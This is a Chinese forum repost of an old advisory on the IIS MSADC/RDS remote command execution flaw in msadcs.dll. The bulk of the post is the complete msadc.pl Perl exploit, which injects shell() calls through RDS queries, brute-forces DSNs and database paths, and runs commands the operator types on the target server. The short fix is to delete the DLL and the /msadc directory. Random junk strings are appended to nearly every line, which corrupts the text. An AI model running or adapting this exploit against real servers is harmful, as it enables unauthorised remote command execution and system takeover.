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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) pf yJL?_%  
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涉及程序: 8yZs>Og?  
Microsoft NT server ~ `{{Z&  
k#V\O2lb  
描述: <{Rz1CMc  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 'XYjo&w  
Eh9{n,5-  
详细: {irl}EeyC  
如果你没有时间读详细内容的话,就删除: +j8-l-o  
c:\Program Files\Common Files\System\Msadc\msadcs.dll c,G[Rk  
有关的安全问题就没有了。 Yfz`or\@=  
] J|#WtS  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 5GJa+St?  
'8@4FXK  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 4a.8n!sys  
关于利用ODBC远程漏洞的描述,请参看: J/Ch /Sa  
wo86C[  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm DsHm,dZ  
uCWBM  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 /|v b)J  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp @'J[T:e  
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这里不再论述。 ZNDjk  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: mMK 93Ng"&  
1n>AN.nI  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset B6!ni@$M8X  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 2aUE<@RU[  
OZ<fQf.Gh}  
a3 t||@v!  
#将下面这段保存为txt文件,然后: "perl -x 文件名" D*wY,\  
oPF n`8dQ  
#!perl axkNy}ct  
# '|yBz1uL  
# MSADC/RDS 'usage' (aka exploit) script 'H1k  
# 0A75)T=lQ  
# by rain.forest.puppy =cx_3gCr{  
# -nnAe F  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me |7b@w;q,D  
# beta test and find errors! r\m2Oo)]  
*m`F-J6U  
use Socket; use Getopt::Std; .'S_9le  
getopts("e:vd:h:XR", \%args); zq]:.s  
d 2z!i^:  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; g HKA:j`c  
5h p)Z7  
if (!defined $args{h} && !defined $args{R}) { IUQYoKz4}A  
print qq~ 1K[y)q  
Usage: msadc.pl -h <host> { -d <delay> -X -v } X/23 /_~L`  
-h <host> = host you want to scan (ip or domain) W+aW2  
-d <seconds> = delay between calls, default 1 second n;~6'f xe  
-X = dump Index Server path table, if available 6?= ^8  
-v = verbose iL3k8:x  
-e = external dictionary file for step 5 wK  Je^7  
VBe&of+  
Or a -R will resume a command session 9D51@b6k  
8<Ex`  
~; exit;} BDPF>lPf<  
h($Jo  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; _sIr'sR~  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} %QX"oRMn0  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} &F|Wk,y  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Px?0)^"2  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} RzqU`<//  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } [};?;YN  
>~@ABLp 6  
if (!defined $args{R}){ $ret = &has_msadc; 8PvO_Gz5  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ~}s0~j~  
TXfG@4~kC  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" s7:w>,v/  
. "cmd /c "; -A1:S'aN-  
$in=<STDIN>; chomp $in; "S3U]zw0_  
$command="cmd /c " . $in ; wbh^ZMQ  
^tl&FWF  
if (defined $args{R}) {&load; exit;} M[KYt"v  
c/`Rv{ *'o  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; RJLhR_t7n  
&try_btcustmr; #L xfE<^  
V-z F'KI[  
print "\nStep 2: Trying to make our own DSN..."; ;Yn_*M/*  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 2Q[q)u  
WvWZzlw  
print "\nStep 3: Trying known DSNs..."; -|_io,eL;  
&known_dsn; |p":s3K"Hy  
u 9%AK g}~  
print "\nStep 4: Trying known .mdbs..."; ^uIKwql  
&known_mdb; 3vF-SgCV  
zjwo"6c>  
if (defined $args{e}){ 1xMD )V:  
print "\nStep 5: Trying dictionary of DSN names..."; o)Nm5g  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } [300F=R  
Z n]e2  
print "Sorry Charley...maybe next time?\n"; ]5\vYk  
exit; 'yNp J'  
ep!.kA=\  
############################################################################## J\*d4I<(Rt  
tFQFpbI  
sub sendraw { # ripped and modded from whisker ]VME`]t`  
sleep($delay); # it's a DoS on the server! At least on mine... 34=0.{qn  
my ($pstr)=@_; 5-*]PAC  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || I}WJ0}R  
die("Socket problems\n"); #o RUH8  
if(connect(S,pack "SnA4x8",2,80,$target)){ ZS+2.)A  
select(S); $|=1;  V("1\  
print $pstr; my @in=<S>; TG9)x|!  
select(STDOUT); close(S); ]@>|y2  
return @in; SD&[K 8-i2  
} else { die("Can't connect...\n"); }} S(6ZX>wv:  
z#4g,)ZX  
############################################################################## >g&`g}xZQ  
LDsYr]  
sub make_header { # make the HTTP request ^XM;D/Gp~  
my $msadc=<<EOT ^n/uY94E)p  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Nz;;X\GI  
User-Agent: ACTIVEDATA DtZm|~)a  
Host: $ip Q\76jD`m\  
Content-Length: $clen v,&2 !Zv  
Connection: Keep-Alive Z-@}~#E  
5[_8N{QC;  
ADCClientVersion:01.06 (4LLTf0  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 +$t%L  
S2)S/ nf  
--!ADM!ROX!YOUR!WORLD! jGn^<T\  
Content-Type: application/x-varg u $#7W>R  
Content-Length: $reqlen :!$z1u8R  
{P&^Erx  
EOT O 0#Jl8  
; $msadc=~s/\n/\r\n/g; l'QR2r7&.  
return $msadc;} ~\ f^L?m  
h86={@Le  
############################################################################## L])w-  
Ef.4.iDJrR  
sub make_req { # make the RDS request E 6: p  
my ($switch, $p1, $p2)=@_; 1 1CJT  
my $req=""; my $t1, $t2, $query, $dsn; Oq6n.:8g"  
;L2bC3  
if ($switch==1){ # this is the btcustmr.mdb query I?>T"nV +'  
$query="Select * from Customers where City=" . make_shell(); ?LI9F7n  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . de9l;zF  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 31& .Lnq  
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elsif ($switch==2){ # this is general make table query yipD5,TC  
$query="create table AZZ (B int, C varchar(10))"; P*`xiTA  
$dsn="$p1";} OL5HofgNm  
'hO;sL  
elsif ($switch==3){ # this is general exploit table query |+-i'N9  
$query="select * from AZZ where C=" . make_shell(); tr8Cx~<  
$dsn="$p1";} <C;> $kX  
f<Tz#w&6W  
elsif ($switch==4){ # attempt to hork file info from index server dM{~Ubb  
$query="select path from scope()"; $3[\:+  
$dsn="Provider=MSIDXS;";} A(OfG&!  
^G&D4uZ  
elsif ($switch==5){ # bad query  /;6@M=6u  
$query="select"; siYRRr  
$dsn="$p1";} E5G"QnxR>N  
n~u3  
$t1= make_unicode($query); m\M+pjz  
$t2= make_unicode($dsn); 2, V+?'^j  
$req = "\x02\x00\x03\x00"; +\GZ(!~  
$req.= "\x08\x00" . pack ("S1", length($t1)); ,,%:vK+V  
$req.= "\x00\x00" . $t1 ; 2 BX GVo  
$req.= "\x08\x00" . pack ("S1", length($t2)); c[_^bs>k  
$req.= "\x00\x00" . $t2 ; `(/saq*  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; > ' 0 ][~  
return $req;} r/hyW6e_  
#0hNk%X=  
############################################################################## 5}bZs` C  
s%[GQQ-N  
sub make_shell { # this makes the shell() statement ~X<cG=p~u  
return "'|shell(\"$command\")|'";} \UqS -j|  
tQ/ #t<4D  
############################################################################## RB7AI !'a?  
dIpW!Pj^  
sub make_unicode { # quick little function to convert to unicode kgapTv>q  
my ($in)=@_; my $out; 5%?b5(mnD  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } _b_?9b-)D  
return $out;} M'zS7=F!:  
MiH}VfI  
############################################################################## {&=qM!2e  
*UBP]w  
sub rdo_success { # checks for RDO return success (this is kludge) ;=+Zw1/g  
my (@in) = @_; my $base=content_start(@in); T<+ht8&M8  
if($in[$base]=~/multipart\/mixed/){ gZlw  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} KU|BT .o8  
return 0;} ] @)!:<+  
4s~HfxYT  
############################################################################## !3I(4?G,  
/8>0; bX+  
sub make_dsn { # this makes a DSN for us o4 %Vt} K  
my @drives=("c","d","e","f"); YYE8/\+B.  
print "\nMaking DSN: "; Cb{A:\>Q{  
foreach $drive (@drives) { +an^e'  
print "$drive: "; QGr\I/Y  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . xd|~+4  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" z_Wm HB  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); YWRE&MQ_  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Seq]NkgY  
return 0 if $2 eq "404"; # not found/doesn't exist nx-1*  
if($2 eq "200") { yS)- &t!;  
foreach $line (@results) { BjyXQ9D  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} d]CviQUq  
} return 0;} n</k/Mk}  
L$lo~7<]  
############################################################################## >v1 y0zx  
GG_^K#*  
sub verify_exists { F)/~p&H  
my ($page)=@_; Dd0Qp-:2  
my @results=sendraw("GET $page HTTP/1.0\n\n"); QJ#u[hsMFp  
return $results[0];} [A"H/Qztk  
,@Fgr(?'`>  
############################################################################## \5'O.*pr  
/&]-I$G@  
sub try_btcustmr { r(: 8!=~K  
my @drives=("c","d","e","f"); =[P%_v``  
my @dirs=("winnt","winnt35","winnt351","win","windows"); jby~AJf %  
]*2EK9<  
foreach $dir (@dirs) { vuR5}/Ev  
print "$dir -> "; # fun status so you can see progress TBZ-17+  
foreach $drive (@drives) { Fn86E dFM  
print "$drive: "; # ditto Dac ^*k=D  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; j:3EpD@GS  
$reqlenlen=length( "$reqlen" ); 3P//H8 8LY  
$clen= 206 + $reqlenlen + $reqlen; 0)d?Y  
sDLS*467  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ':l"mkd+`  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 7qP4B9S  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Fn:.Y8%-  
rDVgk6  
############################################################################## ,b<9?PM  
[_WI8~g Y  
sub odbc_error { ;>9OgO  
my (@in)=@_; my $base; <S]KaDu^  
my $base = content_start(@in); NW{y% Z  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this @Q;i.u{V  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; yp=|7  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; hPa n  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; =op`fn%  
return $in[$base+4].$in[$base+5].$in[$base+6];} [ njx7d  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; m!<X8d[bD  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . sFLcOPj-%  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} jip\4{'N  
r4E`'o[  
############################################################################## [%)@|^hw91  
Q0pzW:=s]  
sub verbose { RCI4~q  
my ($in)=@_; $+Vmwd;  
return if !$verbose; /xcJo g~F,  
print STDOUT "\n$in\n";} "YJ[$TG  
DU;[btK>  
############################################################################## h$70H^r  
 ]nUR;8  
sub save { )ZGYhE  
my ($p1, $p2, $p3, $p4)=@_; 2B-.}OJ  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; [|4}~UV  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; %`#G92Z_  
close OUT;} ^IBGYl5n  
YG4WS |  
############################################################################## X~lZOVmS  
z!$gVWG  
sub load { ;)?( 2 wP  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; XYe~G@Q Z  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); AYcgi  
@p=<IN>; close(IN); KbAR_T1n  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); pTWg m\h  
$target= inet_aton($ip) || die("inet_aton problems"); 1HhX/fpq  
print "Resuming to $ip ..."; 5SUN.%y  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; |QVr `tE<  
if($p[1]==1) { ' WQdr(  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; g<$. - g  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; bDDqaO ,8  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); &|b4\uj9  
if (rdo_success(@results)){print "Success!\n";} ic E|.[  
else { print "failed\n"; verbose(odbc_error(@results));}} Yt+h2ft!  
elsif ($p[1]==3){  `?|Rc  
if(run_query("$p[3]")){ }B0sC%cm  
print "Success!\n";} else { print "failed\n"; }} d ;^  
elsif ($p[1]==4){ XA)'=L!^  
if(run_query($drvst . "$p[3]")){ .k@^KY  
print "Success!\n"; } else { print "failed\n"; }} 2ev*CX6.  
exit;} #{$1z;i?f  
&vkjmiAS  
############################################################################## ([R")~`(l2  
U]hF   
sub create_table { #op:/j  
my ($in)=@_; M+poB+K.  
$reqlen=length( make_req(2,$in,"") ) - 28; q8>t!rh<R  
$reqlenlen=length( "$reqlen" ); fW(/Loh  
$clen= 206 + $reqlenlen + $reqlen; "_< 9PM1t  
my @results=sendraw(make_header() . make_req(2,$in,"")); bb;(gK;F  
return 1 if rdo_success(@results); i%;"[M  
my $temp= odbc_error(@results); verbose($temp); j13DJ.xu  
return 1 if $temp=~/Table 'AZZ' already exists/; >{5 p0  
return 0;} |0sPka/u16  
{6*#3m Kk  
############################################################################## l%~lz[  
83 I-X95  
sub known_dsn { M:|8]y@  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go "R[l ZJ@  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ?Ik4  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 2&he($HIzg  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Wd8R u/  
<*(^{a. O  
foreach $dSn (@dsns) { n2f6 p<8A  
print "."; h2~4G)J  
next if (!is_access("DSN=$dSn")); \X|sU:g  
if(create_table("DSN=$dSn")){ ]Gv!M?:  
print "$dSn successful\n"; F~HRME; Z  
if(run_query("DSN=$dSn")){ ]$A(9Pn"  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { (R*j|HAw`X  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ''H"^oS  
$f$|6jM  
############################################################################## 6N~q`;p0  
S6xgiem  
sub is_access { KxzYfH  
my ($in)=@_; =*Z5!W'd  
$reqlen=length( make_req(5,$in,"") ) - 28; D`yEwpV^  
$reqlenlen=length( "$reqlen" ); Y32 "N[yw  
$clen= 206 + $reqlenlen + $reqlen; W!T"m)S  
my @results=sendraw(make_header() . make_req(5,$in,"")); lg$zGa?  
my $temp= odbc_error(@results); J00VTb`  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); i-" p)2d=#  
return 0;} ][&9]omB  
;dR=tAf0$Q  
############################################################################## @-&MA)SN  
Yg9joNBh  
sub run_query { n.}E5 %qK  
my ($in)=@_; c{3wk7  
$reqlen=length( make_req(3,$in,"") ) - 28; )e|=mtp  
$reqlenlen=length( "$reqlen" ); ntVS:F  
$clen= 206 + $reqlenlen + $reqlen; r^Zg-|gr  
my @results=sendraw(make_header() . make_req(3,$in,"")); !C4!LZ0A  
return 1 if rdo_success(@results); )2IH 5  
my $temp= odbc_error(@results); verbose($temp); m908jI_So  
return 0;} AlXNg!j;5K  
g%[c<l9  
############################################################################## LJ)5W  
9iUrnG*  
sub known_mdb { 4JGtI*%5lq  
my @drives=("c","d","e","f","g"); (QoI<j""  
my @dirs=("winnt","winnt35","winnt351","win","windows"); <r#eL39I  
my $dir, $drive, $mdb; *z*uEcitW  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ).^}AFta  
anMF-x4/*q  
# this is sparse, because I don't know of many Zwz&rIQpT  
my @sysmdbs=( "\\catroot\\icatalog.mdb", L|P5=/d  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", /1mW|O>0  
"\\system32\\certmdb.mdb", }G4 z tiuG  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% }XO K,Hw  
#P l~R  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", J_x13EaV0  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Y2o?gug  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", tg]x0#@s  
"\\cfusion\\cfapps\\security\\realm_.mdb", mGp.3{j  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ?HF%(>M  
"\\cfusion\\database\\cfexamples.mdb", ho##Z*O  
"\\cfusion\\database\\cfsnippets.mdb", 8V^oP] Y  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", )OiT{-m  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", C{gyj}5  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 5?hw !  
"\\cfusion\\database\\smpolicy.mdb", N(I&  
"\\cfusion\\database\cypress.mdb", ;;L[e]Z  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Ag{iq(X  
"\\website\\cgi-win\\dbsample.mdb", .pvi!NnL-  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", K+;e4_\  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" /"eey(X  
); #these are just u%w`:v7Yo(  
foreach $drive (@drives) { v?KC%  
foreach $dir (@dirs){ #Q2Y&2`yGT  
foreach $mdb (@sysmdbs) { e,t(q(L  
print "."; emCM\|NQg&  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ :x tXQza"-  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 0NS<?p~_S  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ N[s}qmPha  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 9 FB19  
} else { print "Something's borked. Use verbose next time\n"; }}}}}  o4|M0  
DRcNdO/1E  
foreach $drive (@drives) { KXx32 b,~  
foreach $mdb (@mdbs) { bD/~eIcWL  
print "."; z^'gx@YD*v  
if(create_table($drv . $drive . $dir . $mdb)){ V5UF3'3;}  
print "\n" . $drive . $dir . $mdb . " successful\n"; a(l29>  
if(run_query($drv . $drive . $dir . $mdb)){ d3D] k,  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 7Zlw^'q$:L  
} else { print "Something's borked. Use verbose next time\n"; }}}} Wk)OkIFR  
}  #"@|f  
tfj:@Z5&$C  
############################################################################## 7pe\M/kl  
< jJ  
sub hork_idx { Xu%'Z".>:  
print "\nAttempting to dump Index Server tables...\n"; '<"s \,  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 02 c':a=7  
$reqlen=length( make_req(4,"","") ) - 28; H{Wu]C<@p  
$reqlenlen=length( "$reqlen" ); s.$3j$vT 8  
$clen= 206 + $reqlenlen + $reqlen; ?l9XAW t\  
my @results=sendraw2(make_header() . make_req(4,"","")); hb}+A=A=+  
if (rdo_success(@results)){ \W~ N  
my $max=@results; my $c; my %d; Ff)8Q.m  
for($c=19; $c<$max; $c++){ 4y|BOVl  
$results[$c]=~s/\x00//g; 45@^L's  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; x(1:s|Uyp{  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; o~`/_ +  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; A^USBv+9`  
$d{"$1$2"}="";} ]'&LGA`  
foreach $c (keys %d){ print "$c\n"; } k>;`FFQU>  
} else {print "Index server doesn't seem to be installed.\n"; }} Ayxkv)%:@)  
b,7k)ND1F  
############################################################################## UtoT  
vS;RJg=  
sub dsn_dict { NPy&OcRl  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 9jM}~XvV  
while(<IN>){ -t!~%_WCv  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; wW>A_{Y  
next if (!is_access("DSN=$dSn")); ua3~iQj-  
if(create_table("DSN=$dSn")){ LBYMCY  
print "$dSn successful\n"; (C\]-E>  
if(run_query("DSN=$dSn")){ ^aItoJq  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { D4eDHq  
print "Something's borked. Use verbose next time\n";}}} 75T%g!c#  
print "\n"; close(IN);} 6m}Ev95  
L/$H"YOv  
############################################################################## 0CnOL!3.I  
Ni9/}bb  
sub sendraw2 { # ripped and modded from whisker \ 2M_\Q`NY  
sleep($delay); # it's a DoS on the server! At least on mine... R@1xt@?  
my ($pstr)=@_; R0KPZv-  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || <sb~ ^B  
die("Socket problems\n"); =W(Q34  
if(connect(S,pack "SnA4x8",2,80,$target)){ kMIcK4.MH  
print "Connected. Getting data"; ]E5o1eeg  
open(OUT,">raw.out"); my @in; BX`{73sw  
select(S); $|=1; print $pstr; 9}rS(/@ }  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ?+))}J5N\  
close(OUT); select(STDOUT); close(S); return @in; KI"#f$2&  
} else { die("Can't connect...\n"); }} [_BP)e  
3#LlDC_WC  
############################################################################## /CrSu  
KjD/o?JUr  
sub content_start { # this will take in the server headers ?>7[7(|  
my (@in)=@_; my $c; ; 5*&xz  
for ($c=1;$c<500;$c++) { .73X3`P25  
if($in[$c] =~/^\x0d\x0a/){ ^um<bWNc  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } zYH&i6nj  
else { return $c+1; }}} ?qb}?&1  
return -1;} # it should never get here actually ju8> :y8  
9)l$ aBa  
############################################################################## 'p^t^=dQ  
[:7'?$  
sub funky { Akq2 d;  
my (@in)=@_; my $error=odbc_error(@in); /!0={G  
if($error=~/ADO could not find the specified provider/){ { a =#B)6  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; pIc#L>{E  
exit;} p?02C# p  
if($error=~/A Handler is required/){ =}~hWL  
print "\nServer has custom handler filters (they most likely are patched)\n"; pE`})/?\*  
exit;} y\/1/WjBn  
if($error=~/specified Handler has denied Access/){ ?e%ZOI  
print "\nServer has custom handler filters (they most likely are patched)\n"; v&6-a*<Z  
exit;}} })'B<vq  
Pd8![Z3  
############################################################################## 4j-Xi  
9=s<Ld  
sub has_msadc { &5>Kl}7  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); QFA8N  
my $base=content_start(@results); &eJfGt5  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); @="Pn5<]C  
return 0;} ^vZSUfS  
;xy"\S]  
######################## A@`}c,G  
."g`3tVK  
aHD]k8 m z  
解决方案: <3n Mx^  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll [DuttFX^x  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 -OV&Md:~  
L;z?a Z7n  
拿出来充数 哈哈
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